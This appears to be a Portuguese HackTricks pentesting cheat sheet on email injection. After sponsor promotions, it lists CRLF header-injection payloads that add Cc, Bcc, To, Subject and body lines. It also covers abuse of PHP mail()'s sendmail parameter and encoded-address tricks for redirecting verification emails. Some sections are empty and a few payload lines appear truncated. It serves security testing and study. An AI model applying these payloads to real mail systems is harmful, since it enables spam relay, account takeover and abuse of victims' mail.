# Email Injections
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_content=email-injections) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** da comunidade **mais avançadas** do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}
## Inject in sent e-mail
### Inject Cc and Bcc after sender argument
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
A mensagem será enviada para as contas recipient e recipient1.
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
A mensagem será enviada ao destinatário original e à conta do atacante.
### Injetar argumento de Assunto
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
O assunto falso será adicionado ao assunto original e, em alguns casos, o substituirá. Isso depende do comportamento do serviço de e-mail.
### Mudar o corpo da mensagem
Injete uma quebra de linha dupla e, em seguida, escreva sua mensagem para alterar o corpo da mensagem.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Exploração da função mail() do PHP
```bash
# The function has the following definition:
php --rf mail
Function [ function mail ] {
- Parameters [5] {
Parameter #0 [ $to ]
Parameter #1 [ $subject ]
Parameter #2 [ $message ]
Parameter #3 [ $additional_headers ]
Parameter #4 [ $additional_parameters ]
}
}
```
#### O 5º parâmetro ($additional\_parameters)
Esta seção será baseada em **como abusar deste parâmetro supondo que um atacante o controla**.
Este parâmetro será adicionado à linha de comando que o PHP usará para invocar o binário sendmail. No entanto, ele será sanitizado com a função `escapeshellcmd($additional_parameters)`.
Um atacante pode **injetar parâmetros adicionais para sendmail** neste caso.
#### Diferenças na implementação de /usr/sbin/sendmail
A interface **sendmail** é **fornecida pelo software de e-mail MTA** (Sendmail, Postfix, Exim etc.) instalado no sistema. Embora a **funcionalidade básica** (como os parâmetros -t -i -f) permaneça a **mesma** por razões de compatibilidade, **outras funções e parâmetros** variam muito dependendo do MTA instalado.
Aqui estão alguns exemplos de diferentes páginas de manual do comando/interface sendmail:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusar delas e **vazar arquivos ou até mesmo executar comandos arbitrários**. Confira como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Injetar no nome do e-mail
{% hint style="danger" %}
Note que se você conseguir criar uma conta em um serviço com um nome de domínio arbitrário (como Github, Gitlab, CloudFlare Zero trust...) e verificá-la recebendo o e-mail de verificação no seu endereço de e-mail, você pode ser capaz de acessar locais sensíveis da empresa vítima.
{% endhint %}
### Partes ignoradas de um e-mail
Os símbolos: **+, -** e **{}** em raras ocasiões podem ser usados para marcação e ignorados pela maioria dos servidores de e-mail.
* Ex.: john.doe+intigriti@example.com → john.doe@example.com
**Comentários entre parênteses ()** no início ou no final também serão ignorados.
* Ex.: john.doe(intigriti)@example.com → john.doe@example.com
### Bypass de whitelist
### Citações
### IPs
Você também pode usar IPs como nomes de domínio entre colchetes:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Codificação de E-mail
Como explicado em [**esta pesquisa**](https://portswigger.net/research/splitting-the-email-atom), nomes de e-mail também podem conter caracteres codificados:
* **Overflow PHP 256**: A função `chr` do PHP continuará adicionando 256 a um caractere até que se torne positivo e então fará a operação `%256`.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
O objetivo deste truque é terminar com uma injeção como `RCPT TO:<"collab@psres.net>collab"@example.com>`\
que enviará o e-mail de verificação para um endereço de e-mail diferente do esperado (portanto, introduzindo outro endereço de e-mail dentro do nome do e-mail e quebrando a sintaxe ao enviar o e-mail).
{% endhint %}
Codificações diferentes:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q??=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q??=hi@example.com
#punycode
x@xn--svg/-9x6 → x@